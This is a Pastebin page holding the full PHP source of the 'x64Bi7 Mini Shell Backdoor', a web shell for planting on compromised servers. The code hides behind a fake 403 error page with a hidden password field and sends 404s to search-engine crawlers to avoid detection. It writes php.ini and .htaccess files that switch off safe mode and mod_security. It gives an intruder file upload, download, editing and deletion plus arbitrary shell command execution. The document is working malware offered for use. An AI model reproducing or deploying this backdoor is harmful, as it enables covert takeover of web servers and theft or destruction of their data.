Advertisement
MrBlank007

X64Bi7 Shell

Mar 20th, 2017
461
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 12.91 KB | None | 0 0
  1. <?php
  2.  
  3. ////////////////////////////////////////////////////////////////////////
  4. //      x64Bi7 Mini Shell Backdoor
  5. //      Recoded : ./Mr.Blank007    
  6. //      Version     : 1.0                                                  
  7. //      Site        : https://www.pentesterbiasa.com
  8. //  Facebook    : https://www.facebook.com/gshofficialpageindonesia                                        
  9. ////////////////////////////////////////////////////////////////////////
  10. session_start();
  11. error_reporting(0);
  12. set_time_limit(0);
  13. @set_magic_quotes_runtime(0);
  14. @clearstatcache();
  15. @ini_set('error_log',NULL);
  16. @ini_set('log_errors',0);
  17. @ini_set('max_execution_time',0);
  18. @ini_set('output_buffering',0);
  19. @ini_set('display_errors', 0);
  20. $auth_pass = "1b355fa2547c1caeefa014b4ba1b1a15"; // pass : 64bit
  21. $errorforbidden = $_SERVER['REQUEST_URI'];
  22. $color = "#000000";
  23. $default_action = 'FilesMan';
  24. $default_use_ajax = true;
  25. $default_charset = 'UTF-8';
  26. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  27.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  28.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  29.         header('HTTP/1.0 404 Not Found');
  30.         exit;
  31.     }
  32. }
  33.  
  34. function login_shell() {
  35. ?>
  36. <html><head>
  37. <title>403 Forbidden</title>
  38. </head><body>
  39. <h1>Forbidden</h1>
  40. <p>You don't have permission to access <? print $errorforbidden; ?>
  41.  on this server.</p><address><hr>
  42. <p>Additionally, a 404 Not Found
  43. error was encountered while trying to use an ErrorDocument to handle the request.</p>
  44. <br>
  45. </body>
  46. </html>
  47. <center>
  48. <form style="display: none;" method="post">
  49. <input type="password" name="pass">
  50. </form>
  51. </center>
  52. <?php
  53. exit;
  54. }
  55. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  56.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  57.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  58.     else
  59.         login_shell();
  60. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  61.     @ob_clean();
  62.     $file = $_GET['file'];
  63.     header('Content-Description: File Transfer');
  64.     header('Content-Type: application/octet-stream');
  65.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  66.     header('Expires: 0');
  67.     header('Cache-Control: must-revalidate');
  68.     header('Pragma: public');
  69.     header('Content-Length: ' . filesize($file));
  70.     readfile($file);
  71.     exit;
  72. }
  73. ?>
  74. <?php
  75. if (file_exists("php.ini")){
  76. }else{
  77. $img = fopen('php.ini', 'w');
  78. $sec = "safe_mode = OFF
  79. disable_funtions = NONE";
  80. fwrite($img ,$sec);
  81. fclose($img);}
  82. if (file_exists(".htaccess")){
  83. }else{
  84. $img2 = fopen('.htaccess', 'w');
  85. $sec2 = "<IfModule mod_security.c>
  86.         SecFilterEngine Off
  87.         SecFilterScanPOST Off
  88.         </IfModule>";
  89. fwrite($img2 ,$sec2);
  90. fclose($img2);}
  91. $inids = @ini_get("disable_functions");
  92. $liatds = (!empty($ds)) ? "<font color='white'>$inids</font>" : "<b><font color='white'>Semua Berfungsi bos :v</font></b>";
  93. if(get_magic_quotes_gpc()){
  94. foreach($_POST as $key=>$value){
  95. $_POST[$key] = stripslashes($value);
  96. }
  97. }
  98. echo '<!DOCTYPE HTML>
  99. <html>
  100. <head>
  101. <link href="" rel="stylesheet" type="text/css">
  102. <title>x64Bi7</title>
  103. <style>
  104. body{
  105.     font-family: "Racing Sans One", cursive;
  106.     background-color: #202020;
  107.     color:white;
  108.     background-attachment:fixed;
  109.     background-repeat:no-repeat;
  110.     background-position:center;
  111.     background-color:transparan;
  112.     -webkit-background-size: 90% 100%;
  113. }
  114. #content tr:hover{
  115. background-color: white;
  116. text-shadow:0px 0px 10px #fff;
  117. }
  118. #content .first{
  119. background-color: #303030;
  120. }
  121. table{
  122. border: 1px #000000 dotted;
  123. }
  124. a{
  125. color:white;
  126. text-decoration: none;
  127. }
  128. a:hover{
  129. color:red;
  130. }
  131. input,select,textarea{
  132. border: 1px #000000 solid;
  133. -moz-border-radius: 5px;
  134. -webkit-border-radius:5px;
  135. border-radius:5px;
  136. }
  137. fi{
  138. color:#202020;
  139. text-shadow:0px 0px 22px #ffffff;
  140. }
  141. </style>
  142. </head>
  143. <body>
  144. <h1><center><fi>x64Bi7 Mini Shell<br><font size="3">x64BackdoorIndonesian17</font></fi></center></h1>
  145. <center><img src="http://pa1.narvii.com/6281/d22603d5eed8f2d777c81bfefef7813ed2af09b0_hq.gif"></center>
  146. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  147. <tr><td>';
  148. echo "Disable Functions: $liatds";
  149. echo '<br><font color="white">Path :</font> ';
  150. if(isset($_GET['path'])){
  151. $path = $_GET['path'];
  152. }else{
  153. $path = getcwd();
  154. }
  155. $path = str_replace('\\','/',$path);
  156. $paths = explode('/',$path);
  157.  
  158. foreach($paths as $id=>$pat){
  159. if($pat == '' && $id == 0){
  160. $a = true;
  161. echo '<a href="?path=/">/</a>';
  162. continue;
  163. }
  164. if($pat == '') continue;
  165. echo '<a href="?path=';
  166. for($i=0;$i<=$id;$i++){
  167. echo "$paths[$i]";
  168. if($i != $id) echo "/";
  169. }
  170. echo '">'.$pat.'</a>/';
  171. }
  172. echo '</td></tr><tr><td>';
  173. if(isset($_FILES['file'])){
  174. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  175. echo '<font color="white">Upload Berhasil</font><br />';
  176. }else{
  177. echo '<font color="white">Upload Gagal</font><br/>';
  178. }
  179. }
  180. echo '<form enctype="multipart/form-data" method="POST">
  181. <font color="white">File Upload :</font> <input type="file" name="file" />
  182. <input type="submit" value="upload" />
  183. </form>';
  184. echo "<form method='post'>
  185. <font color='white'>Command :</font>
  186. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
  187. </form>
  188. </td></tr>";
  189. if($_POST['execmd']) {
  190. echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:white; background-color:#303030;'>".exe($_POST['cmd'])."</textarea></center>";
  191. }
  192. echo "<br></td></tr>";
  193. if(isset($_GET['filesrc'])){
  194. echo "<tr><td>Current File : ";
  195. echo $_GET['filesrc'];
  196. echo '</tr></td></table><br />';
  197. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  198. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  199. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  200. if($_POST['opt'] == 'chmod'){
  201. if(isset($_POST['perm'])){
  202. if(chmod($_POST['path'],$_POST['perm'])){
  203. echo '<font color="white">Change Permission Berhasil</font><br/>';
  204. }else{
  205. echo '<font color="white">Change Permission Gagal</font><br />';
  206. }
  207. }
  208. echo '<form method="POST">
  209. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  210. <input type="hidden" name="path" value="'.$_POST['path'].'">
  211. <input type="hidden" name="opt" value="chmod">
  212. <input type="submit" value="Go" />
  213. </form>';
  214. }elseif($_POST['opt'] == 'rename'){
  215. if(isset($_POST['newname'])){
  216. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  217. echo '<font color="white">Ganti Nama Berhasil</font><br/>';
  218. }else{
  219. echo '<font color="white">Ganti Nama Gagal</font><br />';
  220. }
  221. $_POST['name'] = $_POST['newname'];
  222. }
  223. echo '<form method="POST">
  224. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  225. <input type="hidden" name="path" value="'.$_POST['path'].'">
  226. <input type="hidden" name="opt" value="rename">
  227. <input type="submit" value="Go" />
  228. </form>';
  229. }elseif($_POST['opt'] == 'edit'){
  230. if(isset($_POST['src'])){
  231. $fp = fopen($_POST['path'],'w');
  232. if(fwrite($fp,$_POST['src'])){
  233. echo '<font color="white">Berhasil Edit File</font><br/>';
  234. }else{
  235. echo '<font color="white">Gagal Edit File</font><br/>';
  236. }
  237. fclose($fp);
  238. }
  239. echo '<form method="POST">
  240. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  241. <input type="hidden" name="path" value="'.$_POST['path'].'">
  242. <input type="hidden" name="opt" value="edit">
  243. <input type="submit" value="Save" />
  244. </form>';
  245. }
  246. echo '</center>';
  247. }else{
  248. echo '</table><br/><center>';
  249. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  250. if($_POST['type'] == 'dir'){
  251. if(rmdir($_POST['path'])){
  252. echo '<font color="white">Directory Terhapus</font><br/>';
  253. }else{
  254. echo '<font color="white">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
  255. }
  256. }elseif($_POST['type'] == 'file'){
  257. if(unlink($_POST['path'])){
  258. echo '<font color="white">File Terhapus</font><br/>';
  259. }else{
  260. echo '<font color="white">File Gagal Dihapus</font><br/>';
  261. }
  262. }
  263. }
  264. echo '</center>';
  265. $scandir = scandir($path);
  266. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  267. <tr class="first">
  268. <td><center>Name</peller></center></td>
  269. <td><center>Size</peller></center></td>
  270. <td><center>Permission</peller></center></td>
  271. <td><center>Modify</peller></center></td>
  272. </tr>';
  273.  
  274. foreach($scandir as $dir){
  275. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  276. echo '<tr>
  277. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  278. <td><center>--</center></td>
  279. <td><center>';
  280. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  281. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  282. echo perms($path.'/'.$dir);
  283. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  284.  
  285. echo '</center></td>
  286. <td><center><form method="POST" action="?option&path='.$path.'">
  287. <select name="opt">
  288. <option value="">Select</option>
  289. <option value="delete">Delete</option>
  290. <option value="chmod">Chmod</option>
  291. <option value="rename">Rename</option>
  292. </select>
  293. <input type="hidden" name="type" value="dir">
  294. <input type="hidden" name="name" value="'.$dir.'">
  295. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  296. <input type="submit" value=">">
  297. </form></center></td>
  298. </tr>';
  299. }
  300. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  301. foreach($scandir as $file){
  302. if(!is_file($path.'/'.$file)) continue;
  303. $size = filesize($path.'/'.$file)/1024;
  304. $size = round($size,3);
  305. if($size >= 1024){
  306. $size = round($size/1024,2).' MB';
  307. }else{
  308. $size = $size.' KB';
  309. }
  310.  
  311. echo '<tr>
  312. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  313. <td><center>'.$size.'</center></td>
  314. <td><center>';
  315. if(is_writable($path.'/'.$file)) echo '<font color="white">';
  316. elseif(!is_readable($path.'/'.$file)) echo '<font color="white">';
  317. echo perms($path.'/'.$file);
  318. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  319. echo '</center></td>
  320. <td><center><form method="POST" action="?option&path='.$path.'">
  321. <select name="opt">
  322. <option value="">Select</option>
  323. <option value="delete">Delete</option>
  324. <option value="chmod">Chmod</option>
  325. <option value="rename">Rename</option>
  326. <option value="edit">Edit</option>
  327. </select>
  328. <input type="hidden" name="type" value="file">
  329. <input type="hidden" name="name" value="'.$file.'">
  330. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  331. <input type="submit" value=">">
  332. </form></center></td>
  333. </tr>';
  334. }
  335. echo '</table>
  336. </div>';
  337. }
  338. echo '<center><br/><font color="white">x64Bi7 Mini Shell</font><br>';
  339. echo "[ <a href='?path=$path&go=cabs'>LogOut</a> ]
  340. </center>
  341. </body>
  342. </html>";
  343. if($_GET['go'] == 'cabs') {
  344.    
  345.  
  346. echo '<form action="" method="post">';
  347.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  348.     echo '<meta http-equiv="refresh" content="3" />';
  349. }
  350.  
  351. function perms($file){
  352. $perms = fileperms($file);
  353.  
  354. if (($perms & 0xC000) == 0xC000) {
  355. // Socket
  356. $info = 's';
  357. } elseif (($perms & 0xA000) == 0xA000) {
  358. // Symbolic Link
  359. $info = 'l';
  360. } elseif (($perms & 0x8000) == 0x8000) {
  361. // Regular
  362. $info = '-';
  363. } elseif (($perms & 0x6000) == 0x6000) {
  364. // Block special
  365. $info = 'b';
  366. } elseif (($perms & 0x4000) == 0x4000) {
  367. // Directory
  368. $info = 'd';
  369. } elseif (($perms & 0x2000) == 0x2000) {
  370. // Character special
  371. $info = 'c';
  372. } elseif (($perms & 0x1000) == 0x1000) {
  373. // FIFO pipe
  374. $info = 'p';
  375. } else {
  376. // Unknown
  377. $info = 'u';
  378. }
  379.  
  380. // Owner
  381. $info .= (($perms & 0x0100) ? 'r' : '-');
  382. $info .= (($perms & 0x0080) ? 'w' : '-');
  383. $info .= (($perms & 0x0040) ?
  384. (($perms & 0x0800) ? 's' : 'x' ) :
  385. (($perms & 0x0800) ? 'S' : '-'));
  386.  
  387. // Group
  388. $info .= (($perms & 0x0020) ? 'r' : '-');
  389. $info .= (($perms & 0x0010) ? 'w' : '-');
  390. $info .= (($perms & 0x0008) ?
  391. (($perms & 0x0400) ? 's' : 'x' ) :
  392. (($perms & 0x0400) ? 'S' : '-'));
  393.  
  394. // World
  395. $info .= (($perms & 0x0004) ? 'r' : '-');
  396. $info .= (($perms & 0x0002) ? 'w' : '-');
  397. $info .= (($perms & 0x0001) ?
  398. (($perms & 0x0200) ? 't' : 'x' ) :
  399. (($perms & 0x0200) ? 'T' : '-'));
  400.  
  401. return $info;
  402. }
  403. //////all functions disini tempatnya/////
  404. function exe($cmd) {    
  405. if(function_exists('system')) {        
  406.         @ob_start();       
  407.         @system($cmd);     
  408.         $buff = @ob_get_contents();        
  409.         @ob_end_clean();       
  410.         return $buff;  
  411.     } elseif(function_exists('exec')) {        
  412.         @exec($cmd,$results);      
  413.         $buff = "";        
  414.         foreach($results as $result) {         
  415.             $buff .= $result;      
  416.         } return $buff;    
  417.     } elseif(function_exists('passthru')) {        
  418.         @ob_start();       
  419.         @passthru($cmd);       
  420.         $buff = @ob_get_contents();        
  421.         @ob_end_clean();       
  422.         return $buff;  
  423.     } elseif(function_exists('shell_exec')) {      
  424.         $buff = @shell_exec($cmd);     
  425.         return $buff;  
  426.     }
  427. }
  428. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement